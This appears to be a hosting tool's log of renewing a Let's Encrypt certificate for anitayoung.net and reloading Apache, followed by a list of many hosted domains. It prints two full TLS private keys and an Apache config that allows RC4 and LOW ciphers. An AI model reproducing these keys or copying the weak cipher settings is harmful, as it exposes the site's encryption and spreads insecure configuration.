cjEzLmMubGVuY3Iub3JnLzkyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1
AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmtNY9CAAAAQDAEYw
RAIgJJ39QI437s/U6PqVzUihfvQT+SQ4IipdUhAMUGwwe5gCIAKKKTCbLzCGEose
exOvbmdA87YBWODy4vFeXdj6ElubAHYAGYbUxyiqb/66A294Kk0BkarOLXIxD67O
XXBBLSVMx9QAAAGa01j7+wAABAMARzBFAiEApSR8XgK5X2wv9zVeaIdzZjUuEAUB
ToWbJypy91AIQ3ECIHnSM8k1J1IbSwQFc1GiHkqpno5sIR9EXvkrRyqN5ZjFMA0G
CSqGSIb3DQEBCwUAA4IBAQACp6shA3NHNN1v+6vUo6EEUorI5QoQbpZZ1Mwngiqp
JwxDNEZXYRtTy4DIBVtwUmMoAgh5eQWe7k+RIF1+o4z2U7QGRiJLBX3xy7P8iF9Z
J3a6zIl6XGqIKG7ViSRwMeHBmarauGlBTFp6/kVKCAokg91PCSg15eMMqeS9fi/Q
ZxBA4zCe29+KNeqkvv9UgwdNsqRiwSGH+ZCbD48oC5xLfB4brZnOMN0zeke0rC+p
nKjhA/c+CEVOcx+Sp+7dseeu1IuMZ+TdJEK/lK5/eXwv8ZuhkR4TJGHfnqpMb71L
tTWi6voJspYBkpugkpXW/OhepxnHsBM4cGYlhonPkqGo
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDASCAif2n4w/i1
CiJevjWq3rB5sXC7MVqircc6R8cmRS/8Jm/q8WqdXWwcSU5JUFrKqiZ8FCNQXLnI
O2cJxQHy7lQ99Ic4i5pnXuKpy4qhWgaWG9AmdTNxta8mJ5d5VUHjmygd4vrD0Im5
e2OUsaQc61GFKD2GfMOZkNdHqb+o3+3dd4YwS08owlUe9cId+0ZcKYBG0oyIuxF8
IUqg3Doscber7Z5m8X6JAp/GFKV/e/7MoSK8HrQa/YQWCR5oY0hjahG/x7wJAi4h
/8VO1AdjhQLiVpJicbPj1ID9ZslXmeZ1MkudB7fL1NvXBOO88wZPaDA5xT9iQhHj
EKDBrID5AgMBAAECggEBAIYdCITnV/PSRJOJmQV6KBahMnf+4oE+YFhdWzt0Oxyf
X2PBL4iwkEtokPJ90uPh7yGyYhtjNGpl8pMNk8XFqqFVyF5aQ0KWZMC69t+1f2Eh
WLy0c4+Paa1jKuIy9T0E0Ws+mlGWMpAH0TgVLxTUfoJJQ9fbhGZceVWQKAftByhy
qnYUUOKZtm3xinY2rAsrHw+vznEK2iwq+Gap/b1co19wtCwV+s7LIWRJ6bt+1yet
r/mznTrvZB3LSQUOVruL0A3GRQYYNkKvvEzD0GMxt+yfz/Csu7SFFTzyfHuGx/Br
I24jKQSZooeNYXZ6vehCFCHMfvc0QnHKn3oE9T+hY80CgYEA4ovPcM1TqCS7eo+t
Jx4ag+DIlKjDcpeiCJhZqDh3ZNO0NnV6JRh5/eeTLI9fqKmcpispm4ppSDIp5XlU
c5Gd3u8On8BDaZkYUxfmEhf8nbTqxLUNd0OCPUpLribLF9YJiFwjoDeWH/abSusg
u2M7GQI8HtLUIQIHKD8i0atoT9cCgYEA2Ufil1VMj1hBykT+V7p3NSa5QTtLU60d
G89aW2pElQf7ZZ7l0V/Fu8NODJQUTBhT5HzGfoE/akdahHv95M8yQ3sCOIfEi6J3
5hHHJMd1xlVLW6kIrUGesKXSw2dN5rQF673hIyr17gzQoZsX1JL0ZG8UPVVWqsiG
qvUA56FX268CgYA8EXgaX8b7wWmYcLonshqztwlYKXtRShVjlAnJydcWe++/tNyD
M389LIbgfM+PaBGqGa25mTSbOPnU55vV3NlwQBCvmQoG2NoTRjXxvDx2EH9jUuJU
KilBWQ7CCXU2R8FVT6D+nV6H8Rpx/fA632/PDMGmJp6qdeAx8rOnxnwtFwKBgQC2
thI++8WjjK3WL2pJz01K7sM9rWTMenhN2HG9CYGeaNXoQFQ1WnnmSHercCIZUyPI
sXwhCQKQlmvxmGqKLAmyYRAfBVwrp3V3jF+P+AJ7w2HZNC1NtC6DkQ3Ir2f8pkmM
UWGutwOTKEeQfeDuKp1Ej3vPj6GPf4xu2hPms/AzlQKBgF4I+Ss3u7DbzbsK6R+K
Xt/S79+IHKOziM8rHIsfWSe46cef8pcLFlYj2Sse1V/nVja3qYWIzV9c8NDwMBgX
mtEIwj47gfuLuDNv3rWxI9wTtbb5Or2uZRL8cPGIuhbognKG+PPmwJukSDBxlBHf
UDnj2gusNGu7B8QKlh7P4jvC
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-30 06:00:28: Establishing a connection
2025-11-30 06:00:28: Establishing a connection
2025-11-30 06:00:28:
PUT: /tmp/pkp529007
#!/bin/bash
if [ -d "/var/www/anitayoung_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-30 06:00:28:
chmod 755 /tmp/pkp529007; /tmp/pkp529007; rm /tmp/pkp529007
2025-11-30 06:00:28:
1
2025-11-30 06:00:29: Establishing a connection
2025-11-30 06:00:29:
PUT: /tmp/pkp728398
#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
cat > aZIClncCTFJc6fDXyawXGO-jRf0rYBOA6jdBYk3IX78 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
aZIClncCTFJc6fDXyawXGO-jRf0rYBOA6jdBYk3IX78.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 aZIClncCTFJc6fDXyawXGO-jRf0rYBOA6jdBYk3IX78
2025-11-30 06:00:29:
chmod 755 /tmp/pkp728398; /tmp/pkp728398; rm /tmp/pkp728398
2025-11-30 06:00:29:
2025-11-30 06:00:34: Establishing a connection
2025-11-30 06:00:34:
PUT: /tmp/pkp146848
#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
rm aZIClncCTFJc6fDXyawXGO-jRf0rYBOA6jdBYk3IX78
2025-11-30 06:00:34:
chmod 755 /tmp/pkp146848; /tmp/pkp146848; rm /tmp/pkp146848
2025-11-30 06:00:34:
2025-11-30 06:00:34: Establishing a connection
2025-11-30 06:00:34:
PUT: /tmp/pkp430007
#!/bin/bash
temp_file=$(mktemp)
TARGET=6784aa2fd84151497bb640fc77814c2a.crt
cat > $temp_file <<'endmsg'
af:51:d5:ec:bb:e8:db:36:e7:a7:60:16:3f:8d:42:f9
-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBXYJOrNlNg3a3Osrr3uoP7uoMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjAxWhcNMjYwMjI4MDUwMjAwWjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKqVLxAqufDOOZw3nSVjaezjMkGbyGC9ZqCxpwCs9znTH8zyw7ehSVXEpqJDOJQ/
phiUUPKm+jMxY+qc8GPbrePsRtdjAiEPaF3Ecb2p8XDlDmWjy9uX2z6/yewJ6Kma
aUOePndrB1lC5SZAxac1OHo7uxNGraUPw3KRR6akSpmVZa2XA4vkEO75RQzKQnNI
NKZ83wb/zSl1ExcQhc6piZJAaFVRTyvbPurQW8wO8l2BCilt9KbFSCUDjfiwZ17U
tH5yIg20HcMZ7pl6+Wenvp6nIQmkEqLojdM+buWALVMAaml+8Eej3K09n6yPS3Mk
MPd4CCmbpAAGGG8VpUQDgAkCAwEAAaOCAh4wggIaMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFpzCGbjsdRLMs8bt6MfT4z8Tts8wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzQxLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AJaXZL9V
WJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmtNZPAIAAAQDAEYwRAIgZA1T
wkTKV4mzyUBYeFTWbL0w8CPoekirHK0DstjnP/YCIBU6EzZLjwCftD0Tu9M9LnBj
LsTobCeSkDDlvNv9EJm+AHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGa01lDuwAABAMASDBGAiEAzDZJtnLBYYz+e+b/etMWiwSlLvCqHzYQvNkD
35QokpICIQDXi0iXa6hrYYJpFTH5QBU6flAI7EXwjRsGJvoo2QcaWDANBgkqhkiG
9w0BAQsFAAOCAQEAZQTOApSM+cy4lUnaWIxcxHJM88qmtUlFibwDIwYJkRtk+Nso
WL5imQp92+BFteJtb9Uyz1cnTUJlS6WRl65YfAZyJxqJVwG7Di2orOitv9UnDRD3
HQncnMuKHLhPAAEBhPhDiTzQXpx328fHtVNQlnIa2cUC/HZGgQrFdB2jzVDgfImS
b1wKuLJc9mOKTJdGJg9wdBiBCmL/rUT1EoZbaAO3y1Q5nm5/5ai4iNv+DpP4WOUT
R5yWnr15D6OUAw2mHI3+3wF/UYBZFJg5SLAdGQQR/1SvlHqtbEW5+HWdPl+ytupd
YgkM44xMrGWfv+8u2qPwhG26R9saZtf6tnDxRQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqlS8QKrnwzjmc
N50lY2ns4zJBm8hgvWagsacArPc50x/M8sO3oUlVxKaiQziUP6YYlFDypvozMWPq
nPBj263j7EbXYwIhD2hdxHG9qfFw5Q5lo8vbl9s+v8nsCeipmmlDnj53awdZQuUm
QMWnNTh6O7sTRq2lD8NykUempEqZlWWtlwOL5BDu+UUMykJzSDSmfN8G/80pdRMX
EIXOqYmSQGhVUU8r2z7q0FvMDvJdgQopbfSmxUglA434sGde1LR+ciINtB3DGe6Z
evlnp76epyEJpBKi6I3TPm7lgC1TAGppfvBHo9ytPZ+sj0tzJDD3eAgpm6QABhhv
FaVEA4AJAgMBAAECggEASyg9uybIFAQYt+5863s4sWmMvAFyMMViUUzUouSSbMTL
jxYrC14hnItvS7DIXfEJMm0umSres+1/81/APo8Mt45jzARQbNaICkBCSOl2emJB
jKC1cgQfUi9YPQpEm21wEZ3IMf9TFo31vnvtWfWF870beKu8WCxw1aqS4iYixDWp
DbnBycSEFsyTyG03F85qLZNfj6KVeFTCLMbtyMSSPgM62o8lAiiwRKtrRykK1OC1
SoRydep/ygfMnHlL/za2ZVDMjCwxifGCKyuB9walYl7jtrhqtLoQq4UgalErl+m3
1jlzkoXlr3XPTzFRVVf/kEs5K117ULr0Epb/IPI/LQKBgQDhp14qmqOKyiO+lcEM
ah8un/ndYsm5R6Gt31K7+DEZwPv+ogOCD6rQRttTSP4PJ2eJgAhAhOv+mpMr96FS
iGO42NvcG5JPNU64fNjVjksnfuhgQZp4ydqOUv1iOjxRarl6cxYddHzIa1qIJ4Bo
ks0/4mwTiUgPHMBf/aXZwtDWYwKBgQDBhd+gVqXDi64qMI/Om26+jKfBAnriW8gd
FLGla3UDtikJVwLM5Qdje+5Ls2P+4dfXSZY+fRrVsg4XQ1Ti9EJ1b6MKi5MkFL+j
+IjhUwEAwocVfRyI14ytjt3i1hKlT502cjfDEg0lEpeucThEYqn4hJ2m69JmnYOL
IAxL6t21owKBgQDfPJehKFjwniecjURthrMQij1D8k5EmQPvIkcUJGZW5x+lehxk
WCGRaPfjvgtxbHc2hU4knhtmRv+f+JxFLR8SqJ9hcnldGQym4QQWyW26RgeX6m7q
Xi90q892lMxFc4LJC//t5ebo06O9nO6hBdI+CD8JWL/MC5KZpDKmat/1pwKBgDeI
KPGjq5F/ZYzpvnp1E8ROLF0wTv7hg30E0S08tqlH/mKVu1H8brBXgbvrUEh1mjBH
B3wK/kZP/8chJRyzJtb4H/sIrkJuScfNq8msvd7v8z9xVVzXLaEoG/fZoiQZwm07
PVEWvvriaPA/wPuurEOKGosppIiZroOfwKeQT+qtAoGBAMtKMdYyXdxBSemu/X1/
AejtMuuMIUee2Fm/aQWEpRqNfBwgNiMm3/uLNgbynPAveqRfLPKdxp1uhY+ujdy8
3G6gFaOu66tqIA0auuLTvev1X3iJcjsbc3MVEzADLzSNyKCKFGxYieb3Vg7RWBWa
OpC8gil2bhtBk6kSXZ2UZ0Ug
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-30 06:00:34:
chmod 755 /tmp/pkp430007; /tmp/pkp430007; rm /tmp/pkp430007
2025-11-30 06:00:34:
dir=/etc/ssl/certs
2025-11-30 06:00:34:
PUT: /tmp/pkp727042
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/anitayoung_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-30 06:00:34:
chmod 755 /tmp/pkp727042; /tmp/pkp727042; rm /tmp/pkp727042
2025-11-30 06:00:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf 42
<VirtualHost *:80>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_secure_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:00:34:
PUT: /tmp/pkp629536
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anitayoung_www_net.conf
TARGET=/etc/apache2/sites-enabled/anitayoung_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_secure_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/anitayoung_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf= 1'
fi
2025-11-30 06:00:34:
chmod 755 /tmp/pkp629536; /tmp/pkp629536; rm /tmp/pkp629536
2025-11-30 06:00:34:
2025-11-30 06:00:34:
PUT: /tmp/pkp581551
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-30 06:00:34:
chmod 755 /tmp/pkp581551; /tmp/pkp581551; rm /tmp/pkp581551
2025-11-30 06:00:34:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:00:35: Establishing a connection
2025-11-30 06:00:35:
PUT: /tmp/pkp767355
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-30 06:00:35:
chmod 755 /tmp/pkp767355; /tmp/pkp767355; rm /tmp/pkp767355
2025-11-30 06:00:35:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
